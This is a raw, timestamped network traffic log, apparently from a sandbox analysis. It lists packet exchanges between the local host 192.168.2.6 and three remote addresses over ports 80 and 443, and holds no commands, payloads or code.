Nov 17, 2024 01:38:26.367860079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.367904902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.368860960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.368906975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.368920088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.368925095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.368944883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.368978977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.374439001 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.374556065 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.374614954 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.374774933 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.374794960 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.374809980 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.374815941 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.377665997 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.377685070 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.377777100 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.377917051 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.377933979 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.406086922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406127930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406162977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406232119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406255007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406263113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406291008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406310081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406347036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406347036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406382084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406392097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406426907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406435013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406471014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406495094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406507015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406518936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406546116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406554937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406603098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.406903028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.406970978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.446122885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.446166992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.446202993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.446225882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.446288109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.486799002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.486834049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.486886978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.486910105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.486922979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.486941099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.486941099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.486960888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.486965895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.486998081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.487014055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.487050056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.501575947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.501610994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.501646042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.501682043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.501738071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.526582956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.526639938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.526675940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.526709080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.526714087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.526736975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.526746035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.526791096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.526824951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.561800003 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.562273026 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.562290907 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.562721968 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.562732935 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.571985960 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.572412968 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.572448969 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.572897911 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.572910070 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.593558073 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.594008923 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.594024897 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.594448090 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.594459057 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.650948048 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.658050060 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.658062935 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.658082962 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.658088923 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.694794893 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.695066929 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.695143938 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.701601982 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.701623917 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.701670885 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.701684952 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.703593969 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.703763962 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.703814983 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.704210043 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.704241037 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.704252958 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.704261065 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.707195044 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.707211018 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.707283974 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.707478046 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.707494974 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.707623005 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.707660913 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.707755089 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.707873106 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.707885027 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.722554922 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.723349094 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.723438025 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.723472118 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.723484039 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.723509073 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.723520994 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.726126909 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.726161957 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.726237059 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.726376057 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.726393938 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.785221100 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.785361052 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.785425901 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.785626888 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.785648108 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.785703897 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.785711050 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.788435936 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.788508892 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.788588047 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.788757086 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.788786888 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.098777056 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.104760885 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.104780912 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.105611086 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.105623960 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.229079962 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.229159117 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.229233027 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.330473900 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.330507040 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.330549002 CET	49780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.330559015 CET	443	49780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.433126926 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.452594995 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.462786913 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.485172987 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.500788927 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.516416073 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.535101891 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.576843023 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.576931953 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.577357054 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.577375889 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.577565908 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.577579975 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.577945948 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.577954054 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.578129053 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.578150988 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.578437090 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.578452110 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.578555107 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.578560114 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.579147100 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.579154968 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.584132910 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.584160089 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.584228992 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.584508896 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.584526062 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.704643965 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.704734087 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.704813957 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.705533981 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.706181049 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.706229925 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.706478119 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.706636906 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.706700087 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.727679014 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.727833986 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.727894068 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.843653917 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.843698978 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.843698978 CET	49782	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.843741894 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.843769073 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.843789101 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.843807936 CET	443	49782	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.843810081 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.845796108 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.845817089 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.845849037 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.845860004 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.855318069 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.855318069 CET	49783	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.855346918 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.855360985 CET	443	49783	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.891834974 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.891943932 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.892035961 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.955440998 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.955461979 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.955517054 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.956327915 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.956414938 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.969110966 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.969134092 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.969203949 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.971224070 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.971240997 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.988394022 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.988409996 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.990576029 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.990591049 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:27.990658045 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.990787983 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:27.990793943 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.326982975 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.369605064 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.377202034 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.377209902 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.378434896 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.378442049 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.384413958 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.384457111 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.384526014 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.384900093 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.384913921 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.500859022 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.500885963 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.500956059 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.501187086 CET	49795	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.501213074 CET	443	49795	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.504617929 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.504719973 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.504770041 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.525219917 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.525239944 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.525254965 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.525262117 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.571840048 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.571891069 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.571975946 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.572259903 CET	49796	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.572277069 CET	443	49796	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.573973894 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.573991060 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.574181080 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.597075939 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.597091913 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.635525942 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.635560989 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.635720015 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.635972977 CET	49798	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:28.635982990 CET	443	49798	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:28.688498974 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.688981056 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.689049959 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.689500093 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.689512968 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.708324909 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.709064007 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.709078074 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.709528923 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.709536076 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.723632097 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.724205017 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.724225998 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.724653006 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.724658012 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.730654001 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.731127024 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.731134892 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.731808901 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.731813908 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.817425966 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.817514896 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.817909956 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.817909956 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.817909956 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.820278883 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.820297956 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.820461988 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.820638895 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.820651054 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.843528986 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.843697071 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.843770981 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.843878984 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.843887091 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.843899965 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.843905926 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.851349115 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.851499081 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.853156090 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.856405020 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.856436014 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.856494904 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.856653929 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.856672049 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.856720924 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.856729031 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.856751919 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.856756926 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.859847069 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.859888077 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.860049009 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.860615015 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.860631943 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.877119064 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.877181053 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.877238989 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.877428055 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.877428055 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.877434015 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.877440929 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.879508018 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.879522085 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:28.879687071 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.879812002 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:28.879826069 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.129903078 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:29.129951000 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:29.276665926 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.277044058 CET	49794	443	192.168.2.6	142.250.185.68
Nov 17, 2024 01:38:29.277060032 CET	443	49794	142.250.185.68	192.168.2.6
Nov 17, 2024 01:38:29.278487921 CET	443	49794	142.250.185.68	192.168.2.6
